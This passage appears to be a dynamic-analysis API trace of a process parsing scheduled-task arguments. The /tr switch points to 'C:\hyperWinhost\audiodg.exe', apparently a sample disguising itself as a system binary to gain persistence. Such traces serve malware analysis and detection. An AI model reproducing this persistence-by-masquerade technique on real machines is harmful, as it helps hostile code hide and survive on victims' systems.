[0071.562] lstrlenW (lpString="7") returned 1 [0071.562] lstrlenW (lpString="7") returned 1 [0071.562] GetProcessHeap () returned 0x1e0000 [0071.562] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0xc, Size=0x4) returned 0x1f5510 [0071.562] SetLastError (dwErrCode=0x0) [0071.562] SetLastError (dwErrCode=0x0) [0071.562] lstrlenW (lpString="/tr") returned 3 [0071.562] lstrlenW (lpString="-/") returned 2 [0071.562] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0071.562] lstrlenW (lpString="create") returned 6 [0071.562] lstrlenW (lpString="create") returned 6 [0071.562] _memicmp (_Buf1=0x1fc1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.562] lstrlenW (lpString="tr") returned 2 [0071.562] _memicmp (_Buf1=0x1fc300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.562] _vsnwprintf (in: _Buffer=0x1fc340, _BufferCount=0x9, _Format="|%s|", _ArgList=0xbc2e8 | out: _Buffer="|create|") returned 8 [0071.562] _vsnwprintf (in: _Buffer=0x1fc320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc2e8 | out: _Buffer="|tr|") returned 4 [0071.562] lstrlenW (lpString="|create|") returned 8 [0071.562] lstrlenW (lpString="|tr|") returned 4 [0071.562] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0071.562] SetLastError (dwErrCode=0x490) [0071.562] lstrlenW (lpString="?") returned 1 [0071.562] lstrlenW (lpString="?") returned 1 [0071.562] _memicmp (_Buf1=0x1fc1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.562] lstrlenW (lpString="tr") returned 2 [0071.562] _memicmp (_Buf1=0x1fc300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.563] _vsnwprintf (in: _Buffer=0x1fc340, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc2e8 | out: _Buffer="|?|") returned 3 [0071.563] _vsnwprintf (in: _Buffer=0x1fc320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc2e8 | out: _Buffer="|tr|") returned 4 [0071.563] lstrlenW (lpString="|?|") returned 3 [0071.563] lstrlenW (lpString="|tr|") returned 4 [0071.563] SetLastError (dwErrCode=0x490) [0071.563] lstrlenW (lpString="s") returned 1 [0071.563] lstrlenW (lpString="s") returned 1 [0071.563] _memicmp (_Buf1=0x1fc1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.563] lstrlenW (lpString="tr") returned 2 [0071.563] _memicmp (_Buf1=0x1fc300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.563] _vsnwprintf (in: _Buffer=0x1fc340, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc2e8 | out: _Buffer="|s|") returned 3 [0071.563] _vsnwprintf (in: _Buffer=0x1fc320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc2e8 | out: _Buffer="|tr|") returned 4 [0071.563] lstrlenW (lpString="|s|") returned 3 [0071.563] lstrlenW (lpString="|tr|") returned 4 [0071.563] SetLastError (dwErrCode=0x490) [0071.563] lstrlenW (lpString="u") returned 1 [0071.563] lstrlenW (lpString="u") returned 1 [0071.563] _memicmp (_Buf1=0x1fc1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.563] lstrlenW (lpString="tr") returned 2 [0071.563] _memicmp (_Buf1=0x1fc300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.563] _vsnwprintf (in: _Buffer=0x1fc340, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc2e8 | out: _Buffer="|u|") returned 3 [0071.563] _vsnwprintf (in: _Buffer=0x1fc320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc2e8 | out: _Buffer="|tr|") returned 4 [0071.563] lstrlenW (lpString="|u|") returned 3 [0071.563] lstrlenW (lpString="|tr|") returned 4 [0071.563] SetLastError (dwErrCode=0x490) [0071.563] lstrlenW (lpString="p") returned 1 [0071.563] lstrlenW (lpString="p") returned 1 [0071.563] _memicmp (_Buf1=0x1fc1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.563] lstrlenW (lpString="tr") returned 2 [0071.564] _memicmp (_Buf1=0x1fc300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.564] _vsnwprintf (in: _Buffer=0x1fc340, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc2e8 | out: _Buffer="|p|") returned 3 [0071.564] _vsnwprintf (in: _Buffer=0x1fc320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc2e8 | out: _Buffer="|tr|") returned 4 [0071.564] lstrlenW (lpString="|p|") returned 3 [0071.564] lstrlenW (lpString="|tr|") returned 4 [0071.564] SetLastError (dwErrCode=0x490) [0071.564] lstrlenW (lpString="ru") returned 2 [0071.564] lstrlenW (lpString="ru") returned 2 [0071.564] _memicmp (_Buf1=0x1fc1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.564] lstrlenW (lpString="tr") returned 2 [0071.564] _memicmp (_Buf1=0x1fc300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.564] _vsnwprintf (in: _Buffer=0x1fc340, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc2e8 | out: _Buffer="|ru|") returned 4 [0071.564] _vsnwprintf (in: _Buffer=0x1fc320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc2e8 | out: _Buffer="|tr|") returned 4 [0071.564] lstrlenW (lpString="|ru|") returned 4 [0071.564] lstrlenW (lpString="|tr|") returned 4 [0071.564] StrStrIW (lpFirst="|ru|", lpSrch="|tr|") returned 0x0 [0071.564] SetLastError (dwErrCode=0x490) [0071.564] lstrlenW (lpString="rp") returned 2 [0071.564] lstrlenW (lpString="rp") returned 2 [0071.564] _memicmp (_Buf1=0x1fc1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.564] lstrlenW (lpString="tr") returned 2 [0071.564] _memicmp (_Buf1=0x1fc300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.564] _vsnwprintf (in: _Buffer=0x1fc340, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc2e8 | out: _Buffer="|rp|") returned 4 [0071.564] _vsnwprintf (in: _Buffer=0x1fc320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc2e8 | out: _Buffer="|tr|") returned 4 [0071.564] lstrlenW (lpString="|rp|") returned 4 [0071.564] lstrlenW (lpString="|tr|") returned 4 [0071.564] StrStrIW (lpFirst="|rp|", lpSrch="|tr|") returned 0x0 [0071.564] SetLastError (dwErrCode=0x490) [0071.564] lstrlenW (lpString="sc") returned 2 [0071.564] lstrlenW (lpString="sc") returned 2 [0071.565] _memicmp (_Buf1=0x1fc1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.565] lstrlenW (lpString="tr") returned 2 [0071.565] _memicmp (_Buf1=0x1fc300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.565] _vsnwprintf (in: _Buffer=0x1fc340, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc2e8 | out: _Buffer="|sc|") returned 4 [0071.565] _vsnwprintf (in: _Buffer=0x1fc320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc2e8 | out: _Buffer="|tr|") returned 4 [0071.565] lstrlenW (lpString="|sc|") returned 4 [0071.565] lstrlenW (lpString="|tr|") returned 4 [0071.565] StrStrIW (lpFirst="|sc|", lpSrch="|tr|") returned 0x0 [0071.565] SetLastError (dwErrCode=0x490) [0071.565] lstrlenW (lpString="mo") returned 2 [0071.565] lstrlenW (lpString="mo") returned 2 [0071.565] _memicmp (_Buf1=0x1fc1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.565] lstrlenW (lpString="tr") returned 2 [0071.565] _memicmp (_Buf1=0x1fc300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.565] _vsnwprintf (in: _Buffer=0x1fc340, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc2e8 | out: _Buffer="|mo|") returned 4 [0071.565] _vsnwprintf (in: _Buffer=0x1fc320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc2e8 | out: _Buffer="|tr|") returned 4 [0071.565] lstrlenW (lpString="|mo|") returned 4 [0071.565] lstrlenW (lpString="|tr|") returned 4 [0071.565] StrStrIW (lpFirst="|mo|", lpSrch="|tr|") returned 0x0 [0071.565] SetLastError (dwErrCode=0x490) [0071.565] lstrlenW (lpString="d") returned 1 [0071.565] lstrlenW (lpString="d") returned 1 [0071.565] _memicmp (_Buf1=0x1fc1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.565] lstrlenW (lpString="tr") returned 2 [0071.565] _memicmp (_Buf1=0x1fc300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.565] _vsnwprintf (in: _Buffer=0x1fc340, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc2e8 | out: _Buffer="|d|") returned 3 [0071.565] _vsnwprintf (in: _Buffer=0x1fc320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc2e8 | out: _Buffer="|tr|") returned 4 [0071.565] lstrlenW (lpString="|d|") returned 3 [0071.566] lstrlenW (lpString="|tr|") returned 4 [0071.566] SetLastError (dwErrCode=0x490) [0071.566] lstrlenW (lpString="m") returned 1 [0071.566] lstrlenW (lpString="m") returned 1 [0071.566] _memicmp (_Buf1=0x1fc1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.566] lstrlenW (lpString="tr") returned 2 [0071.566] _memicmp (_Buf1=0x1fc300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.566] _vsnwprintf (in: _Buffer=0x1fc340, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc2e8 | out: _Buffer="|m|") returned 3 [0071.566] _vsnwprintf (in: _Buffer=0x1fc320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc2e8 | out: _Buffer="|tr|") returned 4 [0071.566] lstrlenW (lpString="|m|") returned 3 [0071.566] lstrlenW (lpString="|tr|") returned 4 [0071.566] SetLastError (dwErrCode=0x490) [0071.566] lstrlenW (lpString="i") returned 1 [0071.566] lstrlenW (lpString="i") returned 1 [0071.566] _memicmp (_Buf1=0x1fc1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.566] lstrlenW (lpString="tr") returned 2 [0071.566] _memicmp (_Buf1=0x1fc300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.566] _vsnwprintf (in: _Buffer=0x1fc340, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc2e8 | out: _Buffer="|i|") returned 3 [0071.566] _vsnwprintf (in: _Buffer=0x1fc320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc2e8 | out: _Buffer="|tr|") returned 4 [0071.566] lstrlenW (lpString="|i|") returned 3 [0071.566] lstrlenW (lpString="|tr|") returned 4 [0071.566] SetLastError (dwErrCode=0x490) [0071.566] lstrlenW (lpString="tn") returned 2 [0071.566] lstrlenW (lpString="tn") returned 2 [0071.566] _memicmp (_Buf1=0x1fc1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.566] lstrlenW (lpString="tr") returned 2 [0071.566] _memicmp (_Buf1=0x1fc300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.566] _vsnwprintf (in: _Buffer=0x1fc340, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc2e8 | out: _Buffer="|tn|") returned 4 [0071.566] _vsnwprintf (in: _Buffer=0x1fc320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc2e8 | out: _Buffer="|tr|") returned 4 [0071.566] lstrlenW (lpString="|tn|") returned 4 [0071.567] lstrlenW (lpString="|tr|") returned 4 [0071.567] StrStrIW (lpFirst="|tn|", lpSrch="|tr|") returned 0x0 [0071.567] SetLastError (dwErrCode=0x490) [0071.567] lstrlenW (lpString="tr") returned 2 [0071.567] lstrlenW (lpString="tr") returned 2 [0071.567] _memicmp (_Buf1=0x1fc1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.567] lstrlenW (lpString="tr") returned 2 [0071.567] _memicmp (_Buf1=0x1fc300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.567] _vsnwprintf (in: _Buffer=0x1fc340, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc2e8 | out: _Buffer="|tr|") returned 4 [0071.567] _vsnwprintf (in: _Buffer=0x1fc320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc2e8 | out: _Buffer="|tr|") returned 4 [0071.567] lstrlenW (lpString="|tr|") returned 4 [0071.567] lstrlenW (lpString="|tr|") returned 4 [0071.567] StrStrIW (lpFirst="|tr|", lpSrch="|tr|") returned="|tr|" [0071.567] SetLastError (dwErrCode=0x0) [0071.567] SetLastError (dwErrCode=0x0) [0071.567] lstrlenW (lpString="'C:\\hyperWinhost\\audiodg.exe'") returned 29 [0071.567] lstrlenW (lpString="-/") returned 2 [0071.567] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0071.567] SetLastError (dwErrCode=0x490) [0071.567] SetLastError (dwErrCode=0x490) [0071.567] SetLastError (dwErrCode=0x0) [0071.567] lstrlenW (lpString="'C:\\hyperWinhost\\audiodg.exe'") returned 29 [0071.567] StrChrIW (lpStart="'C:\\hyperWinhost\\audiodg.exe'", wMatch=0x3a) returned=":\\hyperWinhost\\audiodg.exe'" [0071.567] lstrlenW (lpString="'C:\\hyperWinhost\\audiodg.exe'") returned 29 [0071.567] _memicmp (_Buf1=0x1fc430, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.567] _memicmp (_Buf1=0x1fd600, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.567] SetLastError (dwErrCode=0x7a) [0071.567] SetLastError (dwErrCode=0x0) [0071.567] SetLastError (dwErrCode=0x0) [0071.568] lstrlenW (lpString="'C") returned 2 [0071.568] lstrlenW (lpString="-/") returned 2 [0071.568] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0071.568] SetLastError (dwErrCode=0x490) [0071.568] SetLastError (dwErrCode=0x490) [0071.568] SetLastError (dwErrCode=0x0) [0071.568] _memicmp (_Buf1=0x1fd660, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.568] lstrlenW (lpString="'C:\\hyperWinhost\\audiodg.exe'") returned 29 [0071.568] GetProcessHeap () returned 0x1e0000 [0071.568] HeapValidate (hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fd680) returned 1 [0071.568] GetProcessHeap () returned 0x1e0000 [0071.568] RtlReAllocateHeap (Heap=0x1e0000, Flags=0xc, Ptr=0x1fd680, Size=0x3c) returned 0x1f9430 [0071.568] lstrlenW (lpString="'C:\\hyperWinhost\\audiodg.exe'") returned 29 [0071.568] lstrlenW (lpString=" \x09") returned 2 [0071.568] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0071.568] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0071.568] StrChrW (lpStart=" \x09", wMatch=0x43) returned 0x0 [0071.568] StrChrW (lpStart=" \x09", wMatch=0x3a) returned 0x0 [0071.568] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0071.568] StrChrW (lpStart=" \x09", wMatch=0x68) returned 0x0 [0071.568] StrChrW (lpStart=" \x09", wMatch=0x79) returned 0x0 [0071.568] StrChrW (lpStart=" \x09", wMatch=0x70) returned 0x0 [0071.568] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0071.568] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0071.568] StrChrW (lpStart=" \x09", wMatch=0x57) returned 0x0 [0071.568] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0 [0071.568] StrChrW (lpStart=" \x09", wMatch=0x6e) returned 0x0 [0071.568] StrChrW (lpStart=" \x09", wMatch=0x68) returned 0x0 [0071.568] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0071.568] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0071.568] StrChrW (lpStart=" \x09", wMatch=0x74) returned 0x0 [0071.568] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0071.568] StrChrW (lpStart=" \x09", wMatch=0x61) returned 0x0 [0071.568] StrChrW (lpStart=" \x09", wMatch=0x75) returned 0x0 [0071.569] StrChrW (lpStart=" \x09", wMatch=0x64) returned 0x0 [0071.569] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0 [0071.569] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0071.569] StrChrW (lpStart=" \x09", wMatch=0x64) returned 0x0 [0071.569] StrChrW (lpStart=" \x09", wMatch=0x67) returned 0x0 [0071.569] StrChrW (lpStart=" \x09", wMatch=0x2e) returned 0x0 [0071.569] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0071.569] StrChrW (lpStart=" \x09", wMatch=0x78) returned 0x0 [0071.569] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0071.569] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0071.569] GetLastError () returned 0x0 [0071.569] lstrlenW (lpString="'C:\\hyperWinhost\\audiodg.exe'") returned 29 [0071.569] lstrlenW (lpString="'C:\\hyperWinhost\\audiodg.exe'") returned 29 [0071.569] SetLastError (dwErrCode=0x0) [0071.569] SetLastError (dwErrCode=0x0) [0071.569] lstrlenW (lpString="/rl") returned 3 [0071.569] lstrlenW (lpString="-/") returned 2 [0071.569] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0071.569] lstrlenW (lpString="create") returned 6 [0071.569] lstrlenW (lpString="create") returned 6 [0071.569] _memicmp (_Buf1=0x1fc1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.569] lstrlenW (lpString="rl") returned 2 [0071.569] _memicmp (_Buf1=0x1fc300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.569] _vsnwprintf (in: _Buffer=0x1fc340, _BufferCount=0x9, _Format="|%s|", _ArgList=0xbc2e8 | out: _Buffer="|create|") returned 8 [0071.569] _vsnwprintf (in: _Buffer=0x1fc320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc2e8 | out: _Buffer="|rl|") returned 4 [0071.569] lstrlenW (lpString="|create|") returned 8 [0071.569] lstrlenW (lpString="|rl|") returned 4 [0071.569] StrStrIW (lpFirst="|create|", lpSrch="|rl|") returned 0x0 [0071.569] SetLastError (dwErrCode=0x490) [0071.569] lstrlenW (lpString="?") returned 1 [0071.569] lstrlenW (lpString="?") returned 1 [0071.569] _memicmp (_Buf1=0x1fc1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.570] lstrlenW (lpString="rl") returned 2 [0071.570] _memicmp (_Buf1=0x1fc300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.570] _vsnwprintf (in: _Buffer=0x1fc340, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc2e8 | out: _Buffer="|?|") returned 3 [0071.570] _vsnwprintf (in: _Buffer=0x1fc320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc2e8 | out: _Buffer="|rl|") returned 4 [0071.570] lstrlenW (lpString="|?|") returned 3 [0071.570] lstrlenW (lpString="|rl|") returned 4 [0071.570] SetLastError (dwErrCode=0x490) [0071.570] lstrlenW (lpString="s") returned 1 [0071.570] lstrlenW (lpString="s") returned 1 [0071.570] _memicmp (_Buf1=0x1fc1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.570] lstrlenW (lpString="rl") returned 2 [0071.570] _memicmp (_Buf1=0x1fc300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.570] _vsnwprintf (in: _Buffer=0x1fc340, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc2e8 | out: _Buffer="|s|") returned 3 [0071.570] _vsnwprintf (in: _Buffer=0x1fc320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc2e8 | out: _Buffer="|rl|") returned 4 [0071.570] lstrlenW (lpString="|s|") returned 3 [0071.570] lstrlenW (lpString="|rl|") returned 4 [0071.570] SetLastError (dwErrCode=0x490) [0071.570] lstrlenW (lpString="u") returned 1 [0071.570] lstrlenW (lpString="u") returned 1 [0071.570] _memicmp (_Buf1=0x1fc1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.570] lstrlenW (lpString="rl") returned 2 [0071.570] _memicmp (_Buf1=0x1fc300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.570] _vsnwprintf (in: _Buffer=0x1fc340, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc2e8 | out: _Buffer="|u|") returned 3 [0071.570] _vsnwprintf (in: _Buffer=0x1fc320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc2e8 | out: _Buffer="|rl|") returned 4 [0071.570] lstrlenW (lpString="|u|") returned 3 [0071.570] lstrlenW (lpString="|rl|") returned 4 [0071.570] SetLastError (dwErrCode=0x490) [0071.570] lstrlenW (lpString="p") returned 1 [0071.570] lstrlenW (lpString="p") returned 1 [0071.570] _memicmp (_Buf1=0x1fc1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.571] lstrlenW (lpString="rl") returned 2 [0071.571] _memicmp (_Buf1=0x1fc300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.571] _vsnwprintf (in: _Buffer=0x1fc340, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc2e8 | out: _Buffer="|p|") returned 3 [0071.571] _vsnwprintf (in: _Buffer=0x1fc320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc2e8 | out: _Buffer="|rl|") returned 4 [0071.571] lstrlenW (lpString="|p|") returned 3 [0071.571] lstrlenW (lpString="|rl|") returned 4 [0071.571] SetLastError (dwErrCode=0x490) [0071.571] lstrlenW (lpString="ru") returned 2 [0071.571] lstrlenW (lpString="ru") returned 2 [0071.571] _memicmp (_Buf1=0x1fc1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.571] lstrlenW (lpString="rl") returned 2 [0071.571] _memicmp (_Buf1=0x1fc300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.571] _vsnwprintf (in: _Buffer=0x1fc340, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc2e8 | out: _Buffer="|ru|") returned 4 [0071.571] _vsnwprintf (in: _Buffer=0x1fc320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc2e8 | out: _Buffer="|rl|") returned 4 [0071.571] lstrlenW (lpString="|ru|") returned 4 [0071.571] lstrlenW (lpString="|rl|") returned 4 [0071.571] StrStrIW (lpFirst="|ru|", lpSrch="|rl|") returned 0x0 [0071.571] SetLastError (dwErrCode=0x490) [0071.571] lstrlenW (lpString="rp") returned 2 [0071.571] lstrlenW (lpString="rp") returned 2 [0071.571] _memicmp (_Buf1=0x1fc1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.571] lstrlenW (lpString="rl") returned 2 [0071.571] _memicmp (_Buf1=0x1fc300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.571] _vsnwprintf (in: _Buffer=0x1fc340, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc2e8 | out: _Buffer="|rp|") returned 4 [0071.571] _vsnwprintf (in: _Buffer=0x1fc320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc2e8 | out: _Buffer="|rl|") returned 4 [0071.571] lstrlenW (lpString="|rp|") returned 4 [0071.571] lstrlenW (lpString="|rl|") returned 4 [0071.571] StrStrIW (lpFirst="|rp|", lpSrch="|rl|") returned 0x0 [0071.571] SetLastError (dwErrCode=0x490) [0071.571] lstrlenW (lpString="sc") returned 2 [0071.572] lstrlenW (lpString="sc") returned 2 [0071.572] _memicmp (_Buf1=0x1fc1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.572] lstrlenW (lpString="rl") returned 2 [0071.572] _memicmp (_Buf1=0x1fc300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.572] _vsnwprintf (in: _Buffer=0x1fc340, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc2e8 | out: _Buffer="|sc|") returned 4 [0071.572] _vsnwprintf (in: _Buffer=0x1fc320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc2e8 | out: _Buffer="|rl|") returned 4 [0071.572] lstrlenW (lpString="|sc|") returned 4 [0071.572] lstrlenW (lpString="|rl|") returned 4 [0071.572] StrStrIW (lpFirst="|sc|", lpSrch="|rl|") returned 0x0 [0071.572] SetLastError (dwErrCode=0x490) [0071.572] lstrlenW (lpString="mo") returned 2 [0071.572] lstrlenW (lpString="mo") returned 2 [0071.572] _memicmp (_Buf1=0x1fc1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.572] lstrlenW (lpString="rl") returned 2 [0071.572] _memicmp (_Buf1=0x1fc300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.572] _vsnwprintf (in: _Buffer=0x1fc340, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc2e8 | out: _Buffer="|mo|") returned 4 [0071.572] _vsnwprintf (in: _Buffer=0x1fc320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc2e8 | out: _Buffer="|rl|") returned 4 [0071.572] lstrlenW (lpString="|mo|") returned 4 [0071.572] lstrlenW (lpString="|rl|") returned 4 [0071.572] StrStrIW (lpFirst="|mo|", lpSrch="|rl|") returned 0x0 [0071.572] SetLastError (dwErrCode=0x490) [0071.572] lstrlenW (lpString="d") returned 1 [0071.572] lstrlenW (lpString="d") returned 1 [0071.572] _memicmp (_Buf1=0x1fc1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.572] lstrlenW (lpString="rl") returned 2 [0071.572] _memicmp (_Buf1=0x1fc300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.572] _vsnwprintf (in: _Buffer=0x1fc340, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc2e8 | out: _Buffer="|d|") returned 3 [0071.572] _vsnwprintf (in: _Buffer=0x1fc320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc2e8 | out: _Buffer="|rl|") returned 4 [0071.573] lstrlenW (lpString="|d|") returned 3 [0071.573] lstrlenW (lpString="|rl|") returned 4 [0071.573] SetLastError (dwErrCode=0x490) [0071.573] lstrlenW (lpString="m") returned 1 [0071.573] lstrlenW (lpString="m") returned 1 [0071.573] _memicmp (_Buf1=0x1fc1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.573] lstrlenW (lpString="rl") returned 2 [0071.573] _memicmp (_Buf1=0x1fc300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.573] _vsnwprintf (in: _Buffer=0x1fc340, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc2e8 | out: _Buffer="|m|") returned 3 [0071.573] _vsnwprintf (in: _Buffer=0x1fc320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc2e8 | out: _Buffer="|rl|") returned 4 [0071.573] lstrlenW (lpString="|m|") returned 3 [0071.573] lstrlenW (lpString="|rl|") returned 4 [0071.573] SetLastError (dwErrCode=0x490) [0071.573] lstrlenW (lpString="i") returned 1 [0071.573] lstrlenW (lpString="i") returned 1 [0071.573] _memicmp (_Buf1=0x1fc1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.573] lstrlenW (lpString="rl") returned 2 [0071.573] _memicmp (_Buf1=0x1fc300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.573] _vsnwprintf (in: _Buffer=0x1fc340, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc2e8 | out: _Buffer="|i|") returned 3 [0071.573] _vsnwprintf (in: _Buffer=0x1fc320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc2e8 | out: _Buffer="|rl|") returned 4 [0071.573] lstrlenW (lpString="|i|") returned 3 [0071.573] lstrlenW (lpString="|rl|") returned 4 [0071.573] SetLastError (dwErrCode=0x490) [0071.573] lstrlenW (lpString="tn") returned 2 [0071.573] lstrlenW (lpString="tn") returned 2 [0071.573] _memicmp (_Buf1=0x1fc1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.573] lstrlenW (lpString="rl") returned 2 [0071.573] _memicmp (_Buf1=0x1fc300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.573] _vsnwprintf (in: _Buffer=0x1fc340, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc2e8 | out: _Buffer="|tn|") returned 4 [0071.573] _vsnwprintf (in: _Buffer=0x1fc320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc2e8 | out: _Buffer="|rl|") returned 4 [0071.573] lstrlenW (lpString="|tn|") returned 4 [0071.574] lstrlenW (lpString="|rl|") returned 4 [0071.574] StrStrIW (lpFirst="|tn|", lpSrch="|rl|") returned 0x0 [0071.574] SetLastError (dwErrCode=0x490) [0071.574] lstrlenW (lpString="tr") returned 2 [0071.574] lstrlenW (lpString="tr") returned 2 [0071.574] _memicmp (_Buf1=0x1fc1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.574] lstrlenW (lpString="rl") returned 2 [0071.574] _memicmp (_Buf1=0x1fc300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.574] _vsnwprintf (in: _Buffer=0x1fc340, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc2e8 | out: _Buffer="|tr|") returned 4 [0071.574] _vsnwprintf (in: _Buffer=0x1fc320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc2e8 